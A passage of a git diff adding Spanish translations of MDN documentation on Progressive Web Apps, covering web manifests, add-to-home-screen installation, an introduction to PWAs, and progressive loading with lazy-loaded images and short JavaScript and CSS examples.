+ <li><code>display</code>: Cómo se muestra la aplicación; puede ser <code>fullscreen</code> (pantalla completa), <code>standalone</code> (independiente), <code>minimal-ui</code> (interfaz de usuario mínima) o <code>browser</code> (navegador).</li>
+ <li><code>theme_color</code>: Un color primario para la interfaz de usuario, utilizado por el sistema operativo.</li>
+ <li><code>background_color</code>: Un color que se utiliza como fondo predeterminado de la aplicación, usado durante la instalación y en la pantalla de bienvenida.</li>
+</ul>
+
+<p>Un manifiesto web mínimo debe tener al menos un <code>name</code> y un campo <code>icons</code> con al menos un icono definido; ese icono debe tener al menos los subcampos <code>src</code>, <code>sizes</code> y <code>type</code> también. Más allá de eso, todo es opcional, aunque se recomiendan los campos <code>description</code>, <code>short_name</code> y <code>start_url</code>. Incluso, hay más campos que puedes usar de los que se enumeran anteriormente; asegúrate de consultar la {{web.link("/es/docs/Web/Manifest", "referencia del manifiesto de la aplicación web")}} para obtener más detalles.</p>
+
+<h2 id="Agregar_a_la_pantalla_inicial">Agregar a la pantalla inicial</h2>
+
+<p>"Agregar a la pantalla de inicio" (o <em>aapi</em> para abreviar) es una función implementada por los navegadores móviles que toma la información que se encuentra en el manifiesto de una aplicación web y la usa para representar la aplicación en la pantalla de inicio del dispositivo con un icono y un nombre. Esto solo funciona si la aplicación cumple con todos los requisitos necesarios, como se describió anteriormente.</p>
+
+<p>Cuando el usuario visita la PWA con un navegador móvil compatible, debe mostrar una notificación (como un pasquín o un cuadro de diálogo) que indique que es posible instalar la aplicación como una PWA.</p>
+
+<p><img alt="Agregar a la ventana emergente de la pantalla de inicio de js13kPWA." src="https://mdn.mozillademos.org/files/15928/js13kpwa-icon.png" style="border-style: solid; border-width: 1px; display: block; height: 640px; margin: 0px auto; width: 360px;"></p>
+
+<p>Una vez que el usuario indica que desea continuar con la instalación, se muestra el pasquín de instalación. Ese pasquín es creado automáticamente por el navegador, basado en la información del archivo de manifiesto. Por ejemplo, el mensaje incluye el nombre y el icono de la aplicación.</p>
+
+<p><img alt="Pancarta de instalación de js13kPWA." src="https://mdn.mozillademos.org/files/15927/js13kpwa-banner.png" style="border-style: solid; border-width: 1px; display: block; height: 640px; margin: 0px auto; width: 360px;"></p>
+
+<p>Si el usuario hace clic en el botón, hay un paso final que muestra cómo se verá la aplicación y permite que el usuario elija si definitivamente desea agregar la aplicación.</p>
+
+<p><img alt="Agregar a la ventana emergente de la pantalla de inicio de js13kPWA." src="https://mdn.mozillademos.org/files/15926/js13kpwa-add.png" style="border-style: solid; border-width: 1px; display: block; height: 640px; margin: 0px auto; width: 360px;"></p>
+
+<p>Cuando se confirme, la aplicación se instalará en la pantalla de inicio.</p>
+
+<p><img alt="Pantalla de inicio" src="https://mdn.mozillademos.org/files/15834/js13kpwa-installed.png" style="border-style: solid; border-width: 1px; display: block; margin: 0px auto;"></p>
+
+<p>Ahora el usuario puede iniciar y utilizar la aplicación web como cualquier otra aplicación en su dispositivo. Dependiendo del dispositivo y el sistema operativo, el icono de la aplicación web puede tener una insignia con un pequeño icono que indica que se trata de una aplicación web. En la captura de pantalla anterior, por ejemplo, la aplicación tiene un pequeño icono de Firefox, lo cual indica que es una aplicación web que usa el entorno de ejecución de Firefox.</p>
+
+<h3 id="Pantalla_de_bienvenida">Pantalla de bienvenida</h3>
+
+<p>En algunos navegadores, también se genera una pantalla de bienvenida a partir de la información del manifiesto, que se muestra cuando se inicia la PWA y mientras se carga.</p>
+
+<p><img alt="Pantalla de bienvenida" src="https://mdn.mozillademos.org/files/15835/js13kpwa-splash.png" style="border-style: solid; border-width: 1px; display: block; margin: 0px auto;"></p>
+
+<p>El icono y los colores del tema y fondo se utilizan para crear esta pantalla.</p>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>En este artículo, aprendimos cómo podemos hacer que las PWAs se puedan instalar con un manifiesto web correctamente configurado, y cómo el usuario puede luego instalar la PWA con la función "agregar a la pantalla de inicio" de su navegador.</p>
+
+<p>Para obtener más información sobre <em>aapi</em>, asegúrate de leer nuestra {{web.link("/es/docs/Web/Apps/Progressive/Add_to_home_screen", "guía para agregar a la pantalla de inicio")}}. La compatibilidad con el navegador se limita actualmente a Firefox para Android 58+, Mobile Chrome y Android Webview 31+, y Opera para Android 32+, pero esto debería mejorar en un próximo futuro.</p>
+
+<p>Ahora pasemos a la última pieza del rompecabezas de PWA: usar notificaciones automáticas para compartir anuncios con el usuario y ayudarlo a volver a interactuar con tu aplicación.</p>
+
+<p>{{PreviousMenuNext("Web/Apps/Progressive/Offline_Service_workers", "Web/Apps/Progressive/Re-engageable_Notifications_Push", "Web/Apps/Progressive")}}</p>
+
+<p>{{QuickLinksWithSubpages("/es/docs/Web/Progressive_web_apps/")}}</p>
diff --git a/files/es/web/progressive_web_apps/introduction/index.html b/files/es/web/progressive_web_apps/introduction/index.html
new file mode 100644
index 0000000000..266c602c8c
--- /dev/null
+++ b/files/es/web/progressive_web_apps/introduction/index.html
@@ -0,0 +1,169 @@
+---
+title: Introducción a  aplicaciones web progresivas
+slug: Web/Progressive_web_apps/Introduction
+tags:
+  - Aplicaciones web prograsivas
+  - Guía
+  - Intermedio
+  - Intruducción
+  - PWA
+  - Servicio Worker
+  - aplicaciones
+  - js13kGames
+  - manifiesto web
+  - progresiva
+translation_of: Web/Progressive_web_apps/Introduction
+---
+<div>{{NextMenu("Web/Progressive_web_apps/App_structure", "Web/Progressive_web_apps")}}</div>
+
+<p class="summary"><span class="seoSummary">Este articulo provee una introducción a las Aplicaciones web progresivas (PWAs), explica qué son, y las ventajas que brindan sobre las aplicaciones web convencionales.</span></p>
+
+<h2 id="¿Qué_es_una_aplicación_web_progresiva">¿Qué es una aplicación web progresiva?</h2>
+
+<div class="callout-box">El término "Aplicación web progresiva" no es un nombre formal u oficial. Solo es una abreviatura utilizada inicialmente por Google para el concepto de crear una aplicación flexible y adaptable utilizando solo tecnologías web.</div>
+
+<p>Las PWA son aplicaciones web desarrolladas con una serie de tecnologías específicas y patrones estándar que les permiten aprovechar las funciones de las aplicaciones nativas y web. Por ejemplo, las aplicaciones web son más fáciles de detectar que las aplicaciones nativas; es mucho más fácil y rápido visitar un sitio web que instalar una aplicación, y también puedes compartir aplicaciones web simplemente enviando un enlace.</p>
+
+<p>Por otro lado, las aplicaciones nativas están mejor integradas con el sistema operativo y, por lo tanto, ofrecen una experiencia más fluida para los usuarios. Puedes instalar una aplicación nativa para que funcione sin conexión, y a los usuarios les encanta tocar sus íconos para acceder fácilmente a sus aplicaciones favoritas, en lugar de navegar a través de un navegador.</p>
+
+<p>Las PWA brindan la capacidad de crear aplicaciones web que pueden disfrutar de estas mismas ventajas.</p>
+
+<p>No es un concepto completamente nuevo; estas ideas se han revisado muchas veces en la plataforma web con varios enfoques en el pasado. La mejora progresiva y el diseño adaptable ya te permiten crear sitios web compatibles con dispositivos móviles.</p>
+
+<p>Sin embargo, las PWA brindan todo esto y más sin perder ninguna de las características existentes que hacen que la web sea excelente.</p>
+
+<h2 id="¿Qué_hace_que_una_aplicación_sea_una_PWA">¿Qué hace que una aplicación sea una PWA?</h2>
+
+<p>Como dijimos anteriormente, las PWA no se crean con una sola tecnología. Representan una nueva filosofía para la creación de aplicaciones web, que incluye algunos patrones específicos, API y otras características. A primera vista, <em>no</em> es tan obvio si una aplicación web es una PWA o no. Una aplicación se podría considerar una PWA cuando cumple con ciertos requisitos o implementa un conjunto de características determinadas — funciona sin conexión, es instalable, es fácil de sincronizar, puede enviar notificaciones automáticas, etc.</p>
+
+<p>Además, existen herramientas para medir qué tan completa (como porcentaje) es una aplicación web, como <a href="https://developers.google.com/web/tools/lighthouse/">Lighthouse</a>. Al implementar varias ventajas tecnológicas, podemos hacer que una aplicación sea más progresiva, y así terminar con una puntuación de Lighthouse más alta. Pero este es solo un indicador aproximado.</p>
+
+<p>Hay algunos principios clave que una aplicación web debe tratar de observar para ser identificada como PWA. Estos deben ser:</p>
+
+<ul>
+ <li>{{web.link("/es/docs/Web/Progressive_web_apps/Advantages", "Detectable", "#Discoverable")}}, por lo que el contenido se puede encontrar a través de motores de búsqueda.</li>
+ <li>{{web.link("/es/docs/Web/Progressive_web_apps/Advantages", "Instalable", "#Instalable")}}, por lo que puede estar disponible en la pantalla de inicio del dispositivo o en el lanzador de aplicaciones.</li>
+ <li>{{web.link("/es/docs/Web/Progressive_web_apps/Advantages", "Enlazable", "#Enlazable")}}, para que puedas compartirla simplemente enviando una URL.</li>
+ <li>{{web.link("/es/docs/Web/Progressive_web_apps/Advantages", "Independiente de la red", "#Independiente_de_la_red")}}, por lo que funciona sin conexión o con una deficiente conexión de red.</li>
+ <li>{{web.link("/es/docs/Web/Progressive_web_apps/Advantages", "Progresiva", "#Progresiva")}}, por lo que todavía se puede utilizar en un nivel básico en los navegadores más antiguos, pero completamente funcional en los más recientes.</li>
+ <li>{{web.link("/es/docs/Web/Progressive_web_apps/Advantages", "Reconectable", "#Reconectable")}}, por lo que puede enviar notificaciones cuando haya contenido nuevo disponible.</li>
+ <li>{{web.link("/es/docs/Web/Progressive_web_apps/Advantages", "Adaptable", "#Adaptable")}}, por lo tanto se puede utilizar en cualquier dispositivo con pantalla y navegador: teléfonos móviles, tabletas, computadoras portátiles, televisores, refrigeradores, etc.</li>
+ <li>{{web.link("/es/docs/Web/Progressive_web_apps/Advantages", "Segura", "#Segura")}} por lo que las conexiones entre el usuario, la aplicación y tu servidor están protegidos contra terceros que intenten acceder a datos sensibles.</li>
+</ul>
+
+<p>Ofrecer estas funciones y hacer uso de todas las {{anch("Ventajas_de_las_aplicaciones_web", "Ventajas que ofrecen las aplicaciones web")}} puede crear una oferta atractiva y altamente flexible para tus usuarios y clientes.</p>
+
+<h3 id="¿Vale_la_pena_hacer_todo_eso">¿Vale la pena hacer todo eso?</h3>
+
+<p>¡Absolutamente! Con un esfuerzo relativamente pequeño para implementar las características principales de las PWAs, los beneficios son enormes. Por ejemplo:</p>
+
+<ul>
+ <li>Una disminución en los tiempos de carga después de la instalación de la aplicación, gracias al almacenamiento en caché con el {{web.link("/es/docs/Web/API/Service_Worker_API", "servicio workers")}}, además de ahorrar un valioso ancho de banda y tiempo. Los PWAs tienen una carga casi instantánea (a partir de la segunda visita).</li>
+ <li>La capacidad de actualizar solo el contenido que ha cambiado cuando hay disponible una actualización de la aplicación. En contraste, con una aplicación nativa, incluso la más mínima modificación puede obligar al usuario a descargar la aplicación completa nuevamente.</li>
+ <li>Una apariencia que está más integrada con la plataforma nativa: íconos de aplicaciones en la pantalla de inicio o el lanzador de aplicaciones, aplicaciones que se ejecutan automáticamente en modo de pantalla completa, etc.</li>
+ <li>Reconectable para interactuar con los usuarios mediante el uso de notificaciones del sistema y mensajes <code>push</code>, lo cual genera usuarios más comprometidos y mejores tasas de conversión.</li>
+</ul>
+
+<h3 id="Historias_de_éxito">Historias de éxito</h3>
+
+<p>Hay muchas historias de éxito de empresas que probaron la ruta PWA, optaron por una experiencia de sitio web mejorada en lugar de una aplicación nativa y, como resultado, obtuvieron importantes beneficios medibles. El sitio web <a href="https://www.pwastats.com/">Estadísticas PWA</a> comparte muchos estudios de casos que indican estos beneficios.</p>
+
+<p>La historia de éxito más conocida probablemente es la de <a href="https://stories.flipkart.com/introducing-flipkart-lite/">Flipkart Lite</a>. El sitio de comercio electrónico más grande de la India se reconstruyó como una aplicación web progresiva en 2015, lo que resultó en un aumento del 70% en las conversiones. La PWA <a href="https://m.aliexpress.com/">AliExpress</a> también ha obtenido resultados mucho mejores que la web o la aplicación nativa, con un aumento del 104% en las tasas de conversión para los nuevos usuarios. Dado el aumento de sus ganancias y la cantidad relativamente baja de trabajo requerida para la conversión de estas aplicaciones a PWA, la ventaja es clara.</p>
+
+<p>Las puestas en marcha emergentes en etapa temprana como <a href="https://www.couponmoto.com/">couponmoto</a> también han comenzado a usar aplicaciones web progresivas para impulsar una mayor participación de los consumidores, lo que demuestra que pueden ayudar tanto a pequeñas como a grandes empresas para (re)involucrar a los usuarios de manera más eficaz.</p>
+
+<p>Puedes consultar la lista en <a href="#" title="https://pwa.rocks/">pwa.rocks</a> para obtener más ejemplos. Vale la pena mencionar en particular la página <a href="https://hnpwa.com/">hnpwa.com</a>, que muestra una implementación de ejemplo del sitio web de Hacker News (en lugar de la aplicación habitual TodoMVC), en la que puedes ver el uso de varios marcos de desarrollo de la interfaz de usuario web.</p>
+
+<p>Incluso puedes generar PWA en línea utilizando el sitio web <a href="https://www.pwabuilder.com/">PWABuilder</a>.</p>
+
+<p>Para obtener información específica sobre el servicio <em>worker</em> y la inserción, asegúrate de consultar el <a href="https://serviceworke.rs/">Libro de recetas del servicio <em>worker</em></a>, una colección de recetas que utilizan los servicios <em>worker</em> en sitios modernos.</p>
+
+<p>Vale la pena probar un enfoque de PWA, para que puedas ver por ti mismo si funciona para tu aplicación.</p>
+
+<h2 id="Ventajas_de_las_aplicaciones_web">Ventajas de las aplicaciones web</h2>
+
+<p>Una aplicación web progresiva totalmente capaz debería proporcionar todas las siguientes ventajas al usuario.</p>
+
+<h3 id="Reconocible">Reconocible</h3>
+
+<p><img alt="Detectabilidad" src="https://mdn.mozillademos.org/files/12654/discoverable.svg" style="float: left; height: 60px; margin-right: 1em; width: 50px;">El objetivo final es que las aplicaciones web tengan una mejor representación en los motores de búsqueda, sean más fáciles de exponer, catalogar y clasificar, y tener metadatos utilizables por los navegadores para brindarles capacidades especiales.</p>
+
+<p>Algunas de las capacidades ya se han habilitado en ciertas plataformas basadas en web mediante tecnologías patentadas como <a href="http://ogp.me/">Open Graph</a>, que proporciona un formato para especificar metadatos similares en el bloque {{HTMLElement("head")}} de {{Glossary("HTML")}} con etiquetas {{HTMLElement("meta")}}.</p>
+
+<p>El estándar web relevante aquí es el {{web.link("/es/docs/Web/Manifest", "manifiesto de la aplicación web")}}, que define las características de una aplicación, como el nombre, el icono, la pantalla de presentación y los colores del tema en un archivo de manifiesto con formato {{Glossary("JSON")}}. Esto es para usar en contextos como listas de aplicaciones y pantallas de inicio de dispositivos.</p>
+
+<h3 id="Instalable">Instalable</h3>
+
+<p><img alt="Instalabilidad" src="https://mdn.mozillademos.org/files/12656/installable.svg" style="float: left; height: 60px; margin-right: 1em; width: 60px;"></p>
+
+<p>Una parte fundamental de la experiencia de la aplicación web es que los usuarios tengan iconos de aplicaciones en su pantalla de inicio y los puedan tocar para abrir aplicaciones en su propio contenedor nativo que se sienta bien integrado con la plataforma subyacente.</p>
+
+<p>Las aplicaciones web modernas pueden hacer que esta aplicación nativa se sienta a través de las propiedades establecidas dentro del manifiesto de la aplicación web y mediante una función disponible en los navegadores de teléfonos inteligentes modernos llamada {{web.link("/es/docs/Web/Progressive_web_apps/Developer_guide/Installing", "instalación de la aplicación web")}}.</p>
+
+<h3 id="Enlazable">Enlazable</h3>
+
+<p><img alt="Enlazable" src="https://mdn.mozillademos.org/files/12658/linkable.svg" style="float: left; height: 60px; margin-right: 1em; width: 60px;"></p>
+
+<p>Una de las características más poderosas de la web es la capacidad de vincularse a una aplicación en una URL específica sin la necesidad de una tienda de aplicaciones o un proceso de instalación complejo. Así ha sido siempre.</p>
+
+<h3 id="Independiente_de_la_red">Independiente de la red</h3>
+
+<p><img alt="Independencia de la red" src="https://mdn.mozillademos.org/files/12660/network-independent.svg" style="float: left; height: 60px; margin-right: 1em; width: 60px;"></p>
+
+<p>Las aplicaciones web modernas pueden funcionar cuando hay mala (o incluso inexistente) conectividad con la red. Las ideas básicas detrás de la independencia de la red son poder:</p>
+
+<ul>
+ <li>Volver a visitar un sitio y obtener su contenido incluso si no hay una red disponible.</li>
+ <li>Explorar cualquier tipo de contenido que el usuario haya visitado anteriormente al menos una vez, incluso en situaciones de mala conectividad.</li>
+ <li>Controlar lo que se muestra al usuario en situaciones donde no hay conectividad.</li>
+</ul>
+
+<p>Esto se consigue mediante una combinación de tecnologías: el {{web.link("/es/docs/Web/API/Service_Worker_API", "servicio Workers")}} para controlar las solicitudes de página (por ejemplo, almacenarlas sin conexión), la {{web.link("/es/docs/Web/API/Cache", "API de caché")}} para almacenar respuestas a solicitudes de red sin conexión (muy útil para almacenar activos del sitio) y tecnologías de almacenamiento de datos secundarios como {{web.link("/es/docs/Web/API/Web_Storage_API", "Almacenamiento Web")}} y {{web.link("/es/docs/Web/API/IndexedDB_API", "IndexedDB")}} para almacenar datos de aplicaciones sin conexión.</p>
+
+<h3 id="Compatibilidad_de_mejora_progresiva">Compatibilidad de mejora progresiva</h3>
+
+<p><img alt="Mejora progresiva" src="https://mdn.mozillademos.org/files/12662/progressive.svg" style="float: left; height: 60px; margin-right: 1em; width: 60px;"></p>
+
+<p>Se pueden desarrollar aplicaciones web modernas para proporcionar una experiencia excelente a los navegadores totalmente compatibles y una experiencia aceptable (aunque no tan brillante) a los navegadores menos capaces. Hemos estado haciendo esto durante años con las mejores prácticas, como la mejora progresiva. Al utilizar {{Glossary("Progressive_Enhancement", "Mejora progresiva")}}, las PWAs se utilizan en varios navegadores. Esto significa que los desarrolladores deben tener en cuenta las diferencias en la implementación de algunas características y tecnologías PWA entre diferentes implementaciones de navegadores.</p>
+
+<h3 id="Reconectable">Reconectable</h3>
+
+<p><img alt="Reconectable" src="https://mdn.mozillademos.org/files/12666/re-engageable.svg" style="float: left; height: 60px; margin-right: 1em; width: 60px;"></p>
+
+<p>Una de las principales ventajas de las plataformas nativas es la facilidad con la que los usuarios pueden volver a interactuar con las actualizaciones y el contenido nuevo, incluso cuando no están mirando la aplicación o usando sus dispositivos. Las aplicaciones web modernas ahora también pueden hacer esto, utilizando nuevas tecnologías como Servicio <em>Workers</em> para controlar páginas, la {{web.link("/es/docs/Web/API/Push_API", "API Web Push")}} para enviar actualizaciones. directamente del servidor a la aplicación a través de un servicio <em>workers</em> y la {{web.link("/es/docs/Web/API/Notifications_API", "API de notificaciones")}} para generar notificaciones del sistema para ayudar a involucrar a los usuarios cuando no están utilizando activamente su navegador web.</p>
+
+<h3 id="Adaptable">Adaptable</h3>
+
+<p><img alt="Adaptable" src="https://mdn.mozillademos.org/files/12650/responsive.svg" style="float: left; height: 61px; margin-right: 1em; width: 60px;"></p>
+
+<p>Las aplicaciones web adaptables utilizan tecnologías como {{web.link("/es/docs/Web/CSS/Media_Queries", "consultas de medios")}} y {{web.link("/es/docs/Glossary/Viewport", "viewport")}} para asegurarte de que tu IU se ajuste a cualquier factor de forma: computadora de escritorio, dispositivo móvil, tableta o lo que venga a continuación.</p>
+
+<h3 id="Segura">Segura</h3>
+
+<p><img alt="Segura" src="https://mdn.mozillademos.org/files/12664/safe.svg" style="float: left; height: 74px; margin-right: 1em; width: 60px;"></p>
+
+<p><img alt='Captura de pantalla que muestra una gran cantidad de resultados al buscar "Messenger" al intentar encontrar Facebook Messenger. ¿Cuál es el correcto?' src="https://mdn.mozillademos.org/files/17175/InstalingMessengerSoManyOptionsEek.jpeg" style="border-style: solid; border-width: 1px; float: right; height: 267px; margin-left: 1em; width: 130px;">La plataforma web proporciona un mecanismo de entrega seguro que evita espionaje y, al mismo tiempo, garantiza que el contenido no haya sido manipulado, siempre que aproveche {{Glossary("HTTPS")}} y desarrolles tus aplicaciones pensando en la seguridad.</p>
+
+<p>También es fácil para los usuarios asegurarse de que están instalando la aplicación correcta, porque su URL coincidirá con el dominio de tu sitio. Esto es muy diferente de las aplicaciones en las tiendas de aplicaciones, que pueden tener varias aplicaciones con nombres similares, algunas de las cuales incluso pueden estar basadas en su propio sitio, lo que aumenta la confusión. Las aplicaciones web eliminan esa confusión y garantizan que los usuarios obtengan la mejor experiencia posible.</p>
+
+<h2 id="Compatibilidad_con_el_navegador">Compatibilidad con el navegador</h2>
+
+<p>Como se mencionó anteriormente, las PWAs no dependen de una sola API, sino que utilizan varias tecnologías para lograr el objetivo de brindar la mejor experiencia web posible.</p>
+
+<p>El ingrediente clave requerido para las PWAs es la asistencia de {{web.link("/es/docs/Web/API/Service_Worker_API", "servicio workers")}}. Afortunadamente, los servicios de <em>workers</em> <a href="https://jakearchibald.github.io/isserviceworkerready/">ahora son compatibles con los principales navegadores</a> en computadoras de escritorio y dispositivos móviles.</p>
+
+<p>Otras características como {{web.link("/es/docs/Web/Manifest", "manifiesto de App Web")}}, {{web.link("/es/docs/Web/API/Push_API", "Push")}}, {{web.link("/es/docs/Web/API/Notifications_API", "Notificaciones")}} y la funcionalidad {{web.link("/es/docs/Web/Progressive_web_apps/Add_to_home_screen", "Agregar a la pantalla de inicio")}} también tienen un amplio soporte. Actualmente, Safari tiene soporte limitado para el manifiesto de aplicaciones web y Agregar a la pantalla de inicio y no admite notificaciones <em>push web</em>. Sin embargo, otros navegadores importantes admiten todas estas funciones.</p>
+
+<p>Por encima de todo, debes seguir la regla de mejora progresiva: usa tecnologías que mejoren la apariencia y la utilidad de tu aplicación cuando estén disponibles, pero que sigan ofreciendo la funcionalidad básica de tu aplicación cuando esas funciones no estén disponibles. Presentar un sitio web confiable con un buen rendimiento es una consecuencia del uso de estas mejoras; esto, a su vez, significa crear aplicaciones web que sigan las mejores prácticas. De esta manera, todos podrán usar la aplicación, pero aquellos con navegadores modernos se beneficiarán aún más de las funciones de PWA.</p>
+
+<h2 id="Una_aplicación_de_ejemplo">Una aplicación de ejemplo</h2>
+
+<p>En esta serie de artículos, examinaremos el código fuente de un sitio web súper simple que enumera información sobre juegos enviados a la <a href="http://js13kgames.com/aframe">categoría A-Frame</a> en la Competición <a href="http://2017.js13kgames.com/">js13kGames 2017</a>. No tienes que pensar en cuál es el contenido real del sitio web; el punto principal es aprender a utilizar las funciones de PWA en sus propios proyectos.</p>
+
+<p>Puedes <a href="https://mdn.github.io/pwa-examples/js13kpwa/">ver esta aplicación en acción</a> en línea, y el código fuente está <a href="https://github.com/mdn/pwa-examples/tree/master/js13kpwa">disponible en GitHub</a>. Examinaremos este código detenidamente a lo largo de esta serie de artículos.</p>
+
+<p>Por ahora, ve a la segunda parte de esta serie, donde verás la estructura de la aplicación de ejemplo.</p>
+
+<p>{{NextMenu("Web/Progressive_web_apps/App_structure", "Web/Progressive_web_apps")}}</p>
+
+<div>{{QuickLinksWithSubpages("/es/docs/Web/Progressive_web_apps/")}}</div>
diff --git a/files/es/web/progressive_web_apps/loading/index.html b/files/es/web/progressive_web_apps/loading/index.html
new file mode 100644
index 0000000000..bc44773494
--- /dev/null
+++ b/files/es/web/progressive_web_apps/loading/index.html
@@ -0,0 +1,155 @@
+---
+title: Carga progresiva
+slug: Web/Progressive_web_apps/Loading
+tags:
+  - Cargar
+  - PWAs
+  - aplicaciones web progresivas
+  - js13kGames
+  - progresiva
+translation_of: Web/Progressive_web_apps/Loading
+---
+<div>{{PreviousMenu("Web/Progressive_web_apps/Re-engageable_Notifications_Push", "Web/Progressive_web_apps")}}</div>
+
+<p class="summary">En artículos anteriores cubrimos las API que nos ayudan a convertir nuestro ejemplo de <a href="https://mdn.github.io/pwa-examples/js13kpwa/">js13kPWA</a> en una aplicación web progresiva: {{web.link("/es/docs/Web/Progressive_web_apps/Offline_Service_workers", "El servicio workers")}}, {{web.link("/es/docs/Web/Progressive_web_apps/Installable_PWAs", "Manifiestos web")}}, {{web.link("/es/docs/Web/Progressive_web_apps/Re-engagementable_Notifications_Push", "Notificaciones y Push")}}. En este artículo iremos aún más allá y mejoraremos el rendimiento de la aplicación cargando progresivamente sus recursos.</p>
+
+<h2 id="Primera_imagen_significativa">Primera imagen significativa</h2>
+
+<p>Es importante entregar algo significativo al usuario lo antes posible: cuanto más espere a que se cargue la página, mayor será la posibilidad de que se vaya antes de esperar a que todo termine. Deberíamos poder mostrarles al menos la vista básica de la página que quieren ver, con marcadores de posición en los lugares donde eventualmente se cargará más contenido.</p>
+
+<p>Esto se podría lograr mediante la carga progresiva, también conocida como <a href="https://en.wikipedia.org/wiki/Lazy_loading">carga diferida</a>. Se trata de aplazar la carga de recursos tanto como sea posible (HTML, CSS, JavaScript) y solo cargar inmediatamente los que realmente se necesitan para la primera experiencia.</p>
+
+<h2 id="Agrupar_versus_dividir">Agrupar versus dividir</h2>
+
+<p>Muchos visitantes no pasarán por todas las páginas de un sitio web, sin embargo, el enfoque habitual es agrupar todas las funciones que tenemos en un archivo grande. Un archivo <code>bundle.js</code> puede tener muchos megabytes, y un solo paquete <code>style.css</code> puede contener de todo, desde definiciones básicas de estructura CSS hasta todos los estilos posibles de cada versión del sitio: móvil, tableta, escritorio, solo impresión, etc.</p>
+
+<p>Es más rápido cargar toda esa información como un archivo en lugar de muchos archivos pequeños, pero si el usuario no necesita todo al principio, podríamos cargar solo lo que es crucial y luego gestionar otros recursos cuando sea necesario.</p>
+
+<h2 id="Recursos_que_bloquean_el_renderizado">Recursos que bloquean el renderizado</h2>
+
+<p>La agrupación es un problema, porque el navegador tiene que cargar HTML, CSS y JavaScript antes de poder pintar sus resultados renderizados en la pantalla. Durante los pocos segundos entre el acceso inicial al sitio web y la finalización de la carga, el usuario ve una página en blanco, lo cual es una mala experiencia.</p>
+
+<p>Para solucionarlo, podemos, por ejemplo, agregar <code>defer</code> a los archivos JavaScript:</p>
+
+<pre class="brush: html notranslate">&lt;script src="app.js" defer&gt;&lt;/script&gt;
+</pre>
+
+<p>Se descargarán y ejecutarán <em>después</em> que el documento en sí haya sido procesado, por lo que no bloqueará la representación de la estructura HTML. También podemos dividir archivos css y agregarles tipos de medios:</p>
+
+<pre class="brush: html notranslate">&lt;link rel="stylesheet" href="style.css"&gt;
+&lt;link rel="stylesheet" href="print.css" media="print"&gt;
+</pre>
+
+<p>Esto le indicará al navegador que los cargue solo cuando se cumpla la condición.</p>
+
+<p>En nuestra aplicación de demostración js13kPWA, el CSS es lo suficientemente simple como para dejarlo todo en un solo archivo sin reglas específicas sobre cómo cargarlos. Podríamos ir aún más lejos y mover todo desde <code>style.css</code> a la etiqueta <code>&lt;style&gt;</code> en el <code>&lt;head&gt;</code> del <code>index.html</code>: esto mejoraría aún más el rendimiento, pero para la legibilidad del ejemplo también omitiremos este enfoque.</p>
+
+<h2 id="Imágenes">Imágenes</h2>
+
+<p>Además de JavaScript y CSS, es probable que los sitios web contengan varias imágenes. Cuando incluyes elementos {{HTMLElement("img")}} en tu HTML, todas las imágenes a las que se hace referencia se buscarán y descargarán durante el acceso inicial al sitio web. No es inusual tener megabytes de datos de imágenes para descargar antes de anunciar que el sitio está listo, pero esto nuevamente crea una mala percepción del rendimiento. No necesitamos todas las imágenes en la mejor calidad posible al comienzo de la visualización del sitio.</p>
+
+<p>Esto se puede optimizar. En primer lugar, debes utilizar herramientas o servicios similares a <a href="https://tinypng.com/">TinyPNG</a>, que reducirán el tamaño del archivo de tus imágenes sin alterar demasiado la calidad. Si has superado ese punto, puede empezar a pensar en optimizar la carga de imágenes mediante JavaScript. Explicaremos esto a continuación.</p>
+
+<h3 id="Marcador_de_posición_de_imagen">Marcador de posición de imagen</h3>
+
+<p>En lugar de tener todas las capturas de pantalla de los juegos referenciados en los atributos del elemento <code>&lt;img&gt;</code> <code>src</code>, que obligarán al navegador a descargarlos automáticamente, podemos hacerlo de forma selectiva a través de JavaScript. En su lugar, la aplicación js13kPWA usa una imagen de marcador de posición, que es pequeña y liviana, mientras que las rutas finales a las imágenes de destino se almacenan en los atributos <code>data-src</code>:</p>
+
+<pre class="brush: html notranslate">&lt;img src='data/img/placeholder.png' data-src='data/img/SLUG.jpg' alt='NAME'&gt;
+</pre>
+
+<p>Esas imágenes se cargarán mediante JavaScript <em>después</em> que el sitio termine de construir la estructura HTML. La imagen del marcador de posición se escala de la misma manera que las imágenes originales, por lo que ocupará el mismo espacio y no hará que el diseño se vuelva a pintar a medida que se cargan las imágenes.</p>
+
+<h3 id="Cargar_a_través_de_JavaScript">Cargar a través de JavaScript</h3>
+
+<p>El archivo <code>app.js</code> procesa los atributos <code>data-src</code> así:</p>
+
+<pre class="brush: js notranslate">let imagesToLoad = document.querySelectorAll('img[data-src]');
+const loadImages = (image) =&gt; {
+  image.setAttribute('src', image.getAttribute('data-src'));
+  image.onload = () =&gt; {
+    image.removeAttribute('data-src');
+  };
+};</pre>
+
+<p>La variable <code>imagesToLoad</code> contiene referencias a todas las imágenes, mientras que la función <code>loadImages</code> mueve la ruta de <code>data-src</code> a <code>src</code>. Cuando cada imagen está realmente cargada, eliminamos su atributo <code>data-src</code> porque ya no es necesario. Luego recorremos cada imagen y la cargamos:</p>
+
+<pre class="brush: js notranslate">imagesToLoad.forEach((img) =&gt; {
+  loadImages(img);
+});</pre>
+
+<h3 id="Desenfoque_en_CSS">Desenfoque en CSS</h3>
+
+<p>Para que todo el proceso sea más atractivo visualmente, el marcador de posición se difumina en CSS.</p>
+
+<p><img alt="Captura de pantalla de imágenes de marcador de posición en la aplicación js13kPWA." src="https://mdn.mozillademos.org/files/15992/js13kpwa-placeholders.png" style="height: 684px; width: 675px;"></p>
+
+<p>Renderizamos las imágenes con un desenfoque al principio, por lo que se puede lograr una transición hacia la nitidez:</p>
+
+<pre class="brush: css notranslate">article img[data-src] {
+  filter: blur(0.2em);
+}
+
+article img {
+  filter: blur(0em);
+  transition: filter 0.5s;
+}</pre>
+
+<p>Esto eliminará el efecto de desenfoque en medio segundo, el cual se ve lo suficientemente bien para el efecto de "carga".</p>
+
+<h2 id="Carga_bajo_demanda">Carga bajo demanda</h2>
+
+<p>El mecanismo de carga de imágenes explicado en la sección anterior funciona bien: carga las imágenes después de renderizar la estructura HTML y aplica un agradable efecto de transición en el proceso. El problema es que todavía carga <em>todas</em> las imágenes simultáneamente, aunque el usuario solo verá las dos o tres primeras al cargar la página.</p>
+
+<p>Este problema se puede resolver con la nueva {{web.link("/es/docs/Web/API/Intersection_Observer_API", "API observador de intersecciones")}}; con esto nos podemos asegurar de que las imágenes se carguen solo cuando aparezcan en la ventana gráfica.</p>
+
